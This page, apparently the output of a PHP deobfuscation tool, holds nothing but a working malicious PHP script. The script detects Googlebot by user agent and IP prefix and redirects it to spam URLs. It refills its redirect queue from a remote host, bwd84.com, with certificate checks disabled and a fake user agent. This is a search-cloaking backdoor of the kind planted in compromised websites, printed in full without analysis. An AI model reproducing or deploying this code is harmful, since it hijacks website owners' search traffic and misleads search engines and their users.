PHP Decode

<?php 
 
$conf_user_agent = 'Google301';  
$conf_get_url = 'http://bwd84.com/get.php';  
$conf_time_recheck = 60;  
$conf_redirect_type = 'HTTP/1.1 302 Found';  
 
 
ignore_user_abort(true); 
 
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { 
 
$google_ip = trim(strip_tags($_SERVER['HTTP_CF_CONNECTING_IP'])); 
} else { 
$google_ip = trim(strip_tags($_SERVER['REMOTE_ADDR'])); 
} 
if (stripos($_SERVER['HTTP_USER_AGENT'], 'Googlebot', 0) !== false AND stripos($google_ip, '66.249.', 0) !== false) { 
if (!is_dir(__DIR__.'/queue')) {mkdir(__DIR__.'/queue');} 
$google_links = glob(__DIR__."/queue/*"); 
if (isset($google_links[0])) { 
$url = @trim(file_get_contents($google_links[0])); 
//   
header($conf_redirect_type); 
header('Location: '.$url); 
@unlink($google_links[0]); 
die(); 
} else { 
clearstatcache(true); 
$cron_update_time = (int) trim(@file_get_contents(__DIR__.'/googlelinksupdate')) + 0; 
if (time() - $cron_update_time > $conf_time_recheck) { 
file_put_contents(__DIR__.'/googlelinksupdate', time(), LOCK_EX); 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $conf_get_url); 
curl_setopt($ch, CURLOPT_HEADER, false); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
curl_setopt($ch, CURLOPT_DNS_CACHE_TIMEOUT, 600); 
curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); 
curl_setopt($ch, CURLOPT_TIMEOUT, 20); 
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_MAXREDIRS, 2); 
curl_setopt($ch, CURLOPT_USERAGENT, $conf_user_agent); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 
curl_setopt($ch, CURLOPT_ENCODING, 'gzip'); 
curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY); 
$actual_links = @json_decode(trim(curl_exec($ch)), true); 
curl_close($ch); 
clearstatcache(true); 
$i = 0; 
foreach ($actual_links as $google_link) { 
$google_link = trim($google_link); 
if ($google_link != '') { 
$i++; 
file_put_contents(__DIR__.'/queue/'.$i.'_'.rand(1,999999), $google_link, LOCK_EX); 
} 
} 
} 
} 
} 
 ?>